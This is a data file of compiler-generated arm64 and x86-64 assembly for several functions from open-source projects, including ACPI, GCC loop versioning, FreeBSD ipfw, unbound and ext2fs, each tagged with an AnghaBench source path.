.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _acpi_bus_get_device ; -- Begin function acpi_bus_get_device .p2align 2 _acpi_bus_get_device: ; @acpi_bus_get_device .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-8] str x1, [sp, #16] adrp x8, _AE_OK@GOTPAGE ldr x8, [x8, _AE_OK@GOTPAGEOFF] ldr w8, [x8] str w8, [sp, #12] ldr x8, [sp, #16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_6 LBB0_2: ldur w0, [x29, #-8] adrp x8, _acpi_bus_data_handler@GOTPAGE ldr x8, [x8, _acpi_bus_data_handler@GOTPAGEOFF] ldr w1, [x8] ldr x2, [sp, #16] bl _acpi_get_data str w0, [sp, #12] ldr w0, [sp, #12] bl _ACPI_FAILURE subs x8, x0, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x8, [sp, #16] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_5 b LBB0_4 LBB0_4: ldur w0, [x29, #-8] bl _ACPI_DEBUG_PRINT adrp x8, _ENODEV@GOTPAGE ldr x8, [x8, _ENODEV@GOTPAGEOFF] ldr w9, [x8] mov w8, #0 subs w8, w8, w9 stur w8, [x29, #-4] b LBB0_6 LBB0_5: stur wzr, [x29, #-4] b LBB0_6 LBB0_6: ldur w0, [x29, #-4] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .comm _AE_OK,4,2 ; @AE_OK .comm _EINVAL,4,2 ; @EINVAL .comm _acpi_bus_data_handler,4,2 ; @acpi_bus_data_handler .comm _ACPI_DB_INFO,4,2 ; @ACPI_DB_INFO .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "No context for object [%p]\n" .comm _ENODEV,4,2 ; @ENODEV .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _acpi_bus_get_device ## -- Begin function acpi_bus_get_device .p2align 4, 0x90 _acpi_bus_get_device: ## @acpi_bus_get_device .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq _AE_OK@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -20(%rbp) cmpq $0, -16(%rbp) jne LBB0_2 ## %bb.1: xorl %eax, %eax movq _EINVAL@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_6 LBB0_2: movl -8(%rbp), %edi movq _acpi_bus_data_handler@GOTPCREL(%rip), %rax movl (%rax), %esi movq -16(%rbp), %rdx callq _acpi_get_data movl %eax, -20(%rbp) movl -20(%rbp), %edi callq _ACPI_FAILURE cmpq $0, %rax jne LBB0_4 ## %bb.3: movq -16(%rbp), %rax cmpq $0, (%rax) jne LBB0_5 LBB0_4: movl -8(%rbp), %edi callq _ACPI_DEBUG_PRINT xorl %eax, %eax movq _ENODEV@GOTPCREL(%rip), %rcx subl (%rcx), %eax movl %eax, -4(%rbp) jmp LBB0_6 LBB0_5: movl $0, -4(%rbp) LBB0_6: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _AE_OK,4,2 ## @AE_OK .comm _EINVAL,4,2 ## @EINVAL .comm _acpi_bus_data_handler,4,2 ## @acpi_bus_data_handler .comm _ACPI_DB_INFO,4,2 ## @ACPI_DB_INFO .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "No context for object [%p]\n" .comm _ENODEV,4,2 ## @ENODEV .subsections_via_symbols
AnghaBench/fastsocket/kernel/drivers/acpi/extr_bus.c_acpi_bus_get_device.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _loop_version ; -- Begin function loop_version .p2align 2 _loop_version: ; @loop_version .cfi_startproc ; %bb.0: sub sp, sp, #240 .cfi_def_cfa_offset 240 stp x29, x30, [sp, #224] ; 16-byte Folded Spill add x29, sp, #224 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 sub x8, x29, #16 str x8, [sp, #56] ; 8-byte Folded Spill adrp x9, _EDGE_IRREDUCIBLE_LOOP@GOTPAGE ldr x9, [x9, _EDGE_IRREDUCIBLE_LOOP@GOTPAGEOFF] str x9, [sp, #64] ; 8-byte Folded Spill str x0, [x8] stur x1, [x29, #-24] stur x2, [x29, #-32] stur x3, [x29, #-40] stur w4, [x29, #-44] ldur x8, [x29, #-24] ldr x8, [x8, #32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x8, [sp, #56] ; 8-byte Folded Reload ; kill: def $x9 killed $xzr str xzr, [x8, #8] b LBB0_19 LBB0_2: ldur x0, [x29, #-24] bl _loop_preheader_edge ldr x9, [sp, #64] ; 8-byte Folded Reload ldr x8, [sp, #56] ; 8-byte Folded Reload stur x0, [x29, #-72] ldur x10, [x29, #-72] ldr w10, [x10] ldr w11, [x9] and w10, w10, w11 stur w10, [x29, #-108] ldr w11, [x9] ldur x10, [x29, #-72] ldr w9, [x10] bic w9, w9, w11 str w9, [x10] ldur x9, [x29, #-72] ldr x9, [x9, #8] stur x9, [x29, #-56] ldur x0, [x29, #-24] ldur x1, [x29, #-72] ldr x2, [x8] mov x8, sp str wzr, [x8] mov w3, #1 mov x7, #0 mov x4, x7 mov x5, x7 mov x6, x7 bl _cfg_hook_duplicate_loop_to_header_edge subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: ldr x8, [sp, #56] ; 8-byte Folded Reload ; kill: def $x9 killed $xzr str xzr, [x8, #8] b LBB0_19 LBB0_4: ldur x8, [x29, #-72] ldr x8, [x8, #8] stur x8, [x29, #-64] ldur x0, [x29, #-56] ldur x1, [x29, #-64] ldur x2, [x29, #-72] ldur x3, [x29, #-32] bl _lv_adjust_loop_entry_edge str x0, [sp, #96] ldur x8, [x29, #-40] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ldr x8, [sp, #96] ldur x9, [x29, #-40] str x8, [x9] b LBB0_6 LBB0_6: ldr x8, [sp, #96] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_8 b LBB0_7 LBB0_7: ldr x8, [sp, #56] ; 8-byte Folded Reload ldur w11, [x29, #-108] ldur x10, [x29, #-72] ldr w9, [x10] orr w9, w9, w11 str w9, [x10] ; kill: def $x9 killed $xzr str xzr, [x8, #8] b LBB0_19 LBB0_8: ldur x8, [x29, #-24] ldr x0, [x8, #8] bl _get_bb_copy bl _single_succ_edge stur x0, [x29, #-80] ldr x0, [sp, #96] sub x1, x29, #96 sub x2, x29, #104 bl _extract_cond_bb_edges ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x8, [x8] str x8, [sp, #48] ; 8-byte Folded Spill ldur x8, [x29, #-80] str x8, [sp, #40] ; 8-byte Folded Spill ldur x8, [x29, #-24] ldr x0, [x8, #24] bl _get_bb_copy bl _single_pred_edge ldr x1, [sp, #40] ; 8-byte Folded Reload mov x2, x0 ldr x0, [sp, #48] ; 8-byte Folded Reload ldr x3, [sp, #96] ldur x4, [x29, #-96] ldur x5, [x29, #-104] mov w6, #0 bl _loopify str x0, [sp, #104] ldur x8, [x29, #-24] ldr x8, [x8, #16] stur x8, [x29, #-88] ldur x8, [x29, #-88] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ldur x8, [x29, #-88] ldr x0, [x8, #16] bl _get_bb_copy ldur x8, [x29, #-88] ldr x1, [x8, #8] bl _find_edge ldr x8, [sp, #104] str x0, [x8, #16] b LBB0_10 LBB0_10: ldur x0, [x29, #-80] bl _lv_flush_pending_stmts ldr x0, [sp, #96] sub x1, x29, #96 sub x2, x29, #104 bl _extract_cond_bb_edges ldur x0, [x29, #-104] bl _lv_flush_pending_stmts ldur w8, [x29, #-108] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_12 b LBB0_11 LBB0_11: ldr x8, [sp, #64] ; 8-byte Folded Reload adrp x9, _BB_IRREDUCIBLE_LOOP@GOTPAGE ldr x9, [x9, _BB_IRREDUCIBLE_LOOP@GOTPAGEOFF] ldr w11, [x9] ldr x10, [sp, #96] ldr w9, [x10] orr w9, w9, w11 str w9, [x10] ldr w8, [x8] str w8, [sp, #28] ; 4-byte Folded Spill ldur x0, [x29, #-24] bl _loop_preheader_edge ldr w10, [sp, #28] ; 4-byte Folded Reload ldr x8, [sp, #64] ; 8-byte Folded Reload ldr w9, [x0] orr w9, w9, w10 str w9, [x0] ldr w8, [x8] str w8, [sp, #32] ; 4-byte Folded Spill ldr x0, [sp, #104] bl _loop_preheader_edge ldr w10, [sp, #32] ; 4-byte Folded Reload ldr x8, [sp, #64] ; 8-byte Folded Reload ldr w9, [x0] orr w9, w9, w10 str w9, [x0] ldr w8, [x8] str w8, [sp, #36] ; 4-byte Folded Spill ldr x0, [sp, #96] bl _single_pred_edge ldr w9, [sp, #36] ; 4-byte Folded Reload ldr w8, [x0] orr w8, w8, w9 str w8, [x0] b LBB0_12 LBB0_12: ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB0_18 b LBB0_13 LBB0_13: ldr x0, [sp, #104] bl _get_loop_body_in_dom_order str x0, [sp, #88] ldur x8, [x29, #-24] ldr x8, [x8, #8] str x8, [sp, #80] str wzr, [sp, #76] b LBB0_14 LBB0_14: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #76] ldr x9, [sp, #104] ldr w9, [x9] subs w8, w8, w9 cset w8, hs tbnz w8, #0, LBB0_17 b LBB0_15 LBB0_15: ; in Loop: Header=BB0_14 Depth=1 ldr x8, [sp, #88] ldr w9, [sp, #76] ; kill: def $x9 killed $w9 ldr x0, [x8, x9, lsl #3] ldr x1, [sp, #80] bl _move_block_after ldr x8, [sp, #88] ldr w9, [sp, #76] ; kill: def $x9 killed $w9 ldr x8, [x8, x9, lsl #3] str x8, [sp, #80] b LBB0_16 LBB0_16: ; in Loop: Header=BB0_14 Depth=1 ldr w8, [sp, #76] add w8, w8, #1 str w8, [sp, #76] b LBB0_14 LBB0_17: ldr x0, [sp, #88] bl _free b LBB0_18 LBB0_18: ldur x0, [x29, #-24] bl _loop_preheader_edge mov x1, #0 str x1, [sp, #16] ; 8-byte Folded Spill bl _loop_split_edge_with ldr x0, [sp, #104] bl _loop_preheader_edge ldr x1, [sp, #16] ; 8-byte Folded Reload bl _loop_split_edge_with ldr x9, [sp, #56] ; 8-byte Folded Reload ldr x8, [sp, #104] str x8, [x9, #8] b LBB0_19 LBB0_19: ldr x8, [sp, #56] ; 8-byte Folded Reload ldr x0, [x8, #8] ldp x29, x30, [sp, #224] ; 16-byte Folded Reload add sp, sp, #240 ret .cfi_endproc ; -- End function .comm _EDGE_IRREDUCIBLE_LOOP,4,2 ; @EDGE_IRREDUCIBLE_LOOP .comm _BB_IRREDUCIBLE_LOOP,4,2 ; @BB_IRREDUCIBLE_LOOP .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _loop_version ## -- Begin function loop_version .p2align 4, 0x90 _loop_version: ## @loop_version .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $208, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq %rdx, -32(%rbp) movq %rcx, -40(%rbp) movl %r8d, -44(%rbp) movq -24(%rbp), %rax cmpq $0, 32(%rax) je LBB0_2 ## %bb.1: movq $0, -8(%rbp) jmp LBB0_19 LBB0_2: movq -24(%rbp), %rdi callq _loop_preheader_edge movq %rax, -72(%rbp) movq -72(%rbp), %rax movl (%rax), %eax movq _EDGE_IRREDUCIBLE_LOOP@GOTPCREL(%rip), %rcx andl (%rcx), %eax movl %eax, -108(%rbp) movq _EDGE_IRREDUCIBLE_LOOP@GOTPCREL(%rip), %rax movl (%rax), %ecx xorl $-1, %ecx movq -72(%rbp), %rax andl (%rax), %ecx movl %ecx, (%rax) movq -72(%rbp), %rax movq 8(%rax), %rax movq %rax, -56(%rbp) movq -24(%rbp), %rdi movq -72(%rbp), %rsi movq -16(%rbp), %rdx movl $1, %ecx xorl %eax, %eax movl %eax, %r9d xorl %eax, %eax movq %r9, %r8 movq $0, (%rsp) movq $0, 8(%rsp) movl $0, 16(%rsp) callq _cfg_hook_duplicate_loop_to_header_edge cmpl $0, %eax jne LBB0_4 ## %bb.3: movq $0, -8(%rbp) jmp LBB0_19 LBB0_4: movq -72(%rbp), %rax movq 8(%rax), %rax movq %rax, -64(%rbp) movq -56(%rbp), %rdi movq -64(%rbp), %rsi movq -72(%rbp), %rdx movq -32(%rbp), %rcx callq _lv_adjust_loop_entry_edge movq %rax, -128(%rbp) cmpq $0, -40(%rbp) je LBB0_6 ## %bb.5: movq -128(%rbp), %rcx movq -40(%rbp), %rax movq %rcx, (%rax) LBB0_6: cmpq $0, -128(%rbp) jne LBB0_8 ## %bb.7: movl -108(%rbp), %ecx movq -72(%rbp), %rax orl (%rax), %ecx movl %ecx, (%rax) movq $0, -8(%rbp) jmp LBB0_19 LBB0_8: movq -24(%rbp), %rax movq 8(%rax), %rdi callq _get_bb_copy movq %rax, %rdi callq _single_succ_edge movq %rax, -80(%rbp) movq -128(%rbp), %rdi leaq -96(%rbp), %rsi leaq -104(%rbp), %rdx callq _extract_cond_bb_edges movq -16(%rbp), %rax movq %rax, -168(%rbp) ## 8-byte Spill movq -80(%rbp), %rax movq %rax, -160(%rbp) ## 8-byte Spill movq -24(%rbp), %rax movq 24(%rax), %rdi callq _get_bb_copy movq %rax, %rdi callq _single_pred_edge movq -168(%rbp), %rdi ## 8-byte Reload movq -160(%rbp), %rsi ## 8-byte Reload movq %rax, %rdx movq -128(%rbp), %rcx movq -96(%rbp), %r8 movq -104(%rbp), %r9 xorl %eax, %eax movl $0, (%rsp) callq _loopify movq %rax, -120(%rbp) movq -24(%rbp), %rax movq 16(%rax), %rax movq %rax, -88(%rbp) cmpq $0, -88(%rbp) je LBB0_10 ## %bb.9: movq -88(%rbp), %rax movq 16(%rax), %rdi callq _get_bb_copy movq %rax, %rdi movq -88(%rbp), %rax movq 8(%rax), %rsi callq _find_edge movq %rax, %rcx movq -120(%rbp), %rax movq %rcx, 16(%rax) LBB0_10: movq -80(%rbp), %rdi callq _lv_flush_pending_stmts movq -128(%rbp), %rdi leaq -96(%rbp), %rsi leaq -104(%rbp), %rdx callq _extract_cond_bb_edges movq -104(%rbp), %rdi callq _lv_flush_pending_stmts cmpl $0, -108(%rbp) je LBB0_12 ## %bb.11: movq _BB_IRREDUCIBLE_LOOP@GOTPCREL(%rip), %rax movl (%rax), %ecx movq -128(%rbp), %rax orl (%rax), %ecx movl %ecx, (%rax) movq _EDGE_IRREDUCIBLE_LOOP@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -180(%rbp) ## 4-byte Spill movq -24(%rbp), %rdi callq _loop_preheader_edge movl -180(%rbp), %ecx ## 4-byte Reload orl (%rax), %ecx movl %ecx, (%rax) movq _EDGE_IRREDUCIBLE_LOOP@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -176(%rbp) ## 4-byte Spill movq -120(%rbp), %rdi callq _loop_preheader_edge movl -176(%rbp), %ecx ## 4-byte Reload orl (%rax), %ecx movl %ecx, (%rax) movq _EDGE_IRREDUCIBLE_LOOP@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -172(%rbp) ## 4-byte Spill movq -128(%rbp), %rdi callq _single_pred_edge movl -172(%rbp), %ecx ## 4-byte Reload orl (%rax), %ecx movl %ecx, (%rax) LBB0_12: cmpl $0, -44(%rbp) je LBB0_18 ## %bb.13: movq -120(%rbp), %rdi callq _get_loop_body_in_dom_order movq %rax, -136(%rbp) movq -24(%rbp), %rax movq 8(%rax), %rax movq %rax, -144(%rbp) movl $0, -148(%rbp) LBB0_14: ## =>This Inner Loop Header: Depth=1 movl -148(%rbp), %eax movq -120(%rbp), %rcx cmpl (%rcx), %eax jae LBB0_17 ## %bb.15: ## in Loop: Header=BB0_14 Depth=1 movq -136(%rbp), %rax movl -148(%rbp), %ecx ## kill: def $rcx killed $ecx movq (%rax,%rcx,8), %rdi movq -144(%rbp), %rsi callq _move_block_after movq -136(%rbp), %rax movl -148(%rbp), %ecx ## kill: def $rcx killed $ecx movq (%rax,%rcx,8), %rax movq %rax, -144(%rbp) ## %bb.16: ## in Loop: Header=BB0_14 Depth=1 movl -148(%rbp), %eax addl $1, %eax movl %eax, -148(%rbp) jmp LBB0_14 LBB0_17: movq -136(%rbp), %rdi callq _free LBB0_18: movq -24(%rbp), %rdi callq _loop_preheader_edge movq %rax, %rdi xorl %eax, %eax movl %eax, %esi callq _loop_split_edge_with movq -120(%rbp), %rdi callq _loop_preheader_edge movq %rax, %rdi xorl %eax, %eax movl %eax, %esi callq _loop_split_edge_with movq -120(%rbp), %rax movq %rax, -8(%rbp) LBB0_19: movq -8(%rbp), %rax addq $208, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _EDGE_IRREDUCIBLE_LOOP,4,2 ## @EDGE_IRREDUCIBLE_LOOP .comm _BB_IRREDUCIBLE_LOOP,4,2 ## @BB_IRREDUCIBLE_LOOP .subsections_via_symbols
AnghaBench/freebsd/contrib/gcc/extr_cfgloopmanip.c_loop_version.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function dump_soptcodes _dump_soptcodes: ; @dump_soptcodes .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] stur x1, [x29, #-24] stur x2, [x29, #-32] ldur x0, [x29, #-32] mov w1, #12 bl _ipfw_get_sopt_header str x0, [sp, #40] ldr x8, [sp, #40] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_2: ldur x8, [x29, #-32] ldr w8, [x8] ldr x9, [sp, #40] ldr w9, [x9] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB0_4 b LBB0_3 LBB0_3: adrp x8, _EINVAL@GOTPAGE ldr x8, [x8, _EINVAL@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_4: bl _CTL3_LOCK adrp x8, _ctl3_hsize@GOTPAGE ldr x8, [x8, _ctl3_hsize@GOTPAGEOFF] ldr w8, [x8] str w8, [sp, #20] ldrsw x8, [sp, #20] mov x9, #12 mul x8, x8, x9 add x8, x8, #4 ; kill: def $w8 killed $w8 killed $x8 str w8, [sp, #12] ldr w8, [sp, #20] ldr x9, [sp, #40] str w8, [x9, #4] ldr x9, [sp, #40] mov w8, #12 str w8, [x9, #8] ldr w8, [sp, #12] ldr x9, [sp, #40] ldr w9, [x9] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ldr w8, [sp, #12] ldr x9, [sp, #40] str w8, [x9] bl _CTL3_UNLOCK adrp x8, _ENOMEM@GOTPAGE ldr x8, [x8, _ENOMEM@GOTPAGEOFF] ldr w8, [x8] stur w8, [x29, #-4] b LBB0_11 LBB0_6: ldr w8, [sp, #12] ldr x9, [sp, #40] str w8, [x9] mov w8, #1 str w8, [sp, #16] b LBB0_7 LBB0_7: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #16] ldr w9, [sp, #20] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_10 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_7 Depth=1 ldur x0, [x29, #-32] mov w1, #12 bl _ipfw_get_sopt_space str x0, [sp, #32] ldr x8, [sp, #32] subs x8, x8, #0 cset w8, ne and w0, w8, #0x1 adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _KASSERT adrp x8, _ctl3_handlers@GOTPAGE ldr x8, [x8, _ctl3_handlers@GOTPAGEOFF] ldr x8, [x8] ldrsw x9, [sp, #16] mov x10, #12 mul x9, x9, x10 add x8, x8, x9 str x8, [sp, #24] ldr x8, [sp, #24] ldr w8, [x8, #8] ldr x9, [sp, #32] str w8, [x9, #8] ldr x8, [sp, #24] ldr w8, [x8, #4] ldr x9, [sp, #32] str w8, [x9, #4] ldr x8, [sp, #24] ldr w8, [x8] ldr x9, [sp, #32] str w8, [x9] b LBB0_9 LBB0_9: ; in Loop: Header=BB0_7 Depth=1 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB0_7 LBB0_10: bl _CTL3_UNLOCK stur wzr, [x29, #-4] b LBB0_11 LBB0_11: ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .comm _EINVAL,4,2 ; @EINVAL .comm _ctl3_hsize,4,2 ; @ctl3_hsize .comm _ENOMEM,4,2 ; @ENOMEM .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "previously checked buffer is not enough" .comm _ctl3_handlers,8,3 ; @ctl3_handlers .no_dead_strip _dump_soptcodes .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function dump_soptcodes _dump_soptcodes: ## @dump_soptcodes .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $80, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq %rdx, -32(%rbp) movq -32(%rbp), %rdi movl $12, %esi callq _ipfw_get_sopt_header movq %rax, -40(%rbp) cmpq $0, -40(%rbp) jne LBB0_2 ## %bb.1: movq _EINVAL@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_2: movq -32(%rbp), %rax movl (%rax), %eax movq -40(%rbp), %rcx cmpl (%rcx), %eax jge LBB0_4 ## %bb.3: movq _EINVAL@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_4: movb $0, %al callq _CTL3_LOCK movq _ctl3_hsize@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -60(%rbp) movslq -60(%rbp), %rax imulq $12, %rax, %rax addq $4, %rax ## kill: def $eax killed $eax killed $rax movl %eax, -68(%rbp) movl -60(%rbp), %ecx movq -40(%rbp), %rax movl %ecx, 4(%rax) movq -40(%rbp), %rax movl $12, 8(%rax) movl -68(%rbp), %eax movq -40(%rbp), %rcx cmpl (%rcx), %eax jle LBB0_6 ## %bb.5: movl -68(%rbp), %ecx movq -40(%rbp), %rax movl %ecx, (%rax) movb $0, %al callq _CTL3_UNLOCK movq _ENOMEM@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -4(%rbp) jmp LBB0_11 LBB0_6: movl -68(%rbp), %ecx movq -40(%rbp), %rax movl %ecx, (%rax) movl $1, -64(%rbp) LBB0_7: ## =>This Inner Loop Header: Depth=1 movl -64(%rbp), %eax cmpl -60(%rbp), %eax jg LBB0_10 ## %bb.8: ## in Loop: Header=BB0_7 Depth=1 movq -32(%rbp), %rdi movl $12, %esi callq _ipfw_get_sopt_space movq %rax, -48(%rbp) cmpq $0, -48(%rbp) setne %al andb $1, %al movzbl %al, %edi leaq L_.str(%rip), %rsi callq _KASSERT movq _ctl3_handlers@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -64(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movq %rax, -56(%rbp) movq -56(%rbp), %rax movl 8(%rax), %ecx movq -48(%rbp), %rax movl %ecx, 8(%rax) movq -56(%rbp), %rax movl 4(%rax), %ecx movq -48(%rbp), %rax movl %ecx, 4(%rax) movq -56(%rbp), %rax movl (%rax), %ecx movq -48(%rbp), %rax movl %ecx, (%rax) ## %bb.9: ## in Loop: Header=BB0_7 Depth=1 movl -64(%rbp), %eax addl $1, %eax movl %eax, -64(%rbp) jmp LBB0_7 LBB0_10: movb $0, %al callq _CTL3_UNLOCK movl $0, -4(%rbp) LBB0_11: movl -4(%rbp), %eax addq $80, %rsp popq %rbp retq .cfi_endproc ## -- End function .comm _EINVAL,4,2 ## @EINVAL .comm _ctl3_hsize,4,2 ## @ctl3_hsize .comm _ENOMEM,4,2 ## @ENOMEM .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "previously checked buffer is not enough" .comm _ctl3_handlers,8,3 ## @ctl3_handlers .no_dead_strip _dump_soptcodes .subsections_via_symbols
AnghaBench/freebsd/sys/netpfil/ipfw/extr_ip_fw_sockopt.c_dump_soptcodes.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sldns_wire2str_hex_scan ; -- Begin function sldns_wire2str_hex_scan .p2align 2 _sldns_wire2str_hex_scan: ; @sldns_wire2str_hex_scan .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-16] str x1, [sp, #24] str x2, [sp, #16] str x3, [sp, #8] ldr x8, [sp, #24] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB0_2 b LBB0_1 LBB0_1: ldr x0, [sp, #16] ldr x1, [sp, #8] adrp x2, l_.str@PAGE add x2, x2, l_.str@PAGEOFF bl _sldns_str_print stur w0, [x29, #-4] b LBB0_3 LBB0_2: ldur x1, [x29, #-16] ldr x2, [sp, #24] ldr x3, [sp, #16] ldr x4, [sp, #8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _print_remainder_hex stur w0, [x29, #-4] b LBB0_3 LBB0_3: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "0" l_.str.1: ; @.str.1 .space 1 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _sldns_wire2str_hex_scan ## -- Begin function sldns_wire2str_hex_scan .p2align 4, 0x90 _sldns_wire2str_hex_scan: ## @sldns_wire2str_hex_scan .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp movq %rdi, -16(%rbp) movq %rsi, -24(%rbp) movq %rdx, -32(%rbp) movq %rcx, -40(%rbp) movq -24(%rbp), %rax cmpq $0, (%rax) jne LBB0_2 ## %bb.1: movq -32(%rbp), %rdi movq -40(%rbp), %rsi leaq L_.str(%rip), %rdx callq _sldns_str_print movl %eax, -4(%rbp) jmp LBB0_3 LBB0_2: movq -16(%rbp), %rsi movq -24(%rbp), %rdx movq -32(%rbp), %rcx movq -40(%rbp), %r8 leaq L_.str.1(%rip), %rdi callq _print_remainder_hex movl %eax, -4(%rbp) LBB0_3: movl -4(%rbp), %eax addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "0" L_.str.1: ## @.str.1 .space 1 .subsections_via_symbols
AnghaBench/freebsd/contrib/unbound/sldns/extr_wire2str.c_sldns_wire2str_hex_scan.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _ext2fs_badblocks_list_del ; -- Begin function ext2fs_badblocks_list_del .p2align 2 _ext2fs_badblocks_list_del: ; @ext2fs_badblocks_list_del .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] str w1, [sp, #8] ldur w0, [x29, #-4] ldr w1, [sp, #8] bl _ext2fs_u32_list_del ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .subsections_via_symbols
